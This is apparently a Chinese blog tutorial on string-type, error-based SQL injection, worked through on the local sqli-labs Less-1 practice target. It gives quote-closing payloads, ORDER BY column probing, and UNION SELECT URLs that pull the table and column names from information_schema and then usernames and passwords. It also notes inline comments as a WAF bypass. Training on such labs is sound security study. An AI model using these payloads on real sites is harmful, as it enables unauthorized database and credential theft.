07、注入篇--显错注入【字符型】

本文详细解析了SQL注入原理,从用户输入控制、显错注入案例,到MySQL注释符利用、靶场实战演练。重点讲解了如何构造闭合payload,包括数字型与字符型的区别,以及各种包裹变量方法的应用。最后通过实例演示了字段探测、版本识别和数据表信息获取的过程。
摘要由CSDN通过智能技术生成

概述

注入的本质

用户输入的数据被当做代码执行

注入条件

  • 用户可以控制传参
  • 用户输入的语句被带入数据库并执行

显错注入原理

  • 用户输入的数据被当做SQL语句执行,并带入数据库执行
  • 对用户输入的数据没有做任何过滤,并且将结果返回到页面
  • 没有做任何防护

注入的关键操作

  • 构造闭合

注入基础

MySQL注释符:# 或 --空格 或  /**/
内联注释:/*!  SQL语句 */ 只有MySQL可以识别,常用来绕过WAF
注入探测符:常使用 \ 进行探测

靶场

1、靶场
在这里插入图片描述
2、根据前面的数学型注入,可先使用and 1=2 探测
在这里插入图片描述
页面无反应

3、使用探测符号\

在这里插入图片描述

4、根据报错信息

''1\' LIMIT 0,1' ==> '1\' LIMIT 0,1 (反斜杠通常为转义符)==>可猜测变量id由单引号字符围绕
构造payload: id=1' -- q (--空格 为MySQL的注释符)

5、查看后端源代码

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

添加构造的payload后:

$sql="SELECT * FROM users WHERE id='1'-- q' LIMIT 0,1";

6、将payload写入到靶场中,页面正常
靶场

7、使用oder by 探测字段数
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
8、探测字段数为3,使用联合查询,观察回显点
http://127.0.0.1/sqli/Less-1/?id=0’ union select 1,2,3 – q
在这里插入图片描述
9、探测版本号和当前数据库名
在这里插入图片描述
10、利用MySQL自带数据库information_schema得出数据

http://127.0.0.1/sqli/Less-1/?id=0' union select 1,version(),group_concat(table_name) 
from information_schema.tables where table_schema=database() -- q

在这里插入图片描述
11、查看users数据表中的字段名

http://127.0.0.1/sqli/Less-1/?id=0' union select 1,version(),group_concat(column_name)
 from information_schema.columns where table_schema=database() and table_name='users' -- q

在这里插入图片描述
12、查询username、password字段信息,使用limit 依次查看

http://127.0.0.1/sqli/Less-1/?id=0' union select 1,username,password from users limit 3,1 -- q

在这里插入图片描述

总结

字符型注入与数字型注入的区别为 有无包裹变量的符号不同
以下几种包裹方式注入,与‘$id’ 注入同理

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$sql="SELECT * FROM users WHERE id=“$id” LIMIT 0,1";
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$sql="SELECT * FROM users WHERE id=(“$id”) LIMIT 0,1";

注入的关键在于 构造闭合

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值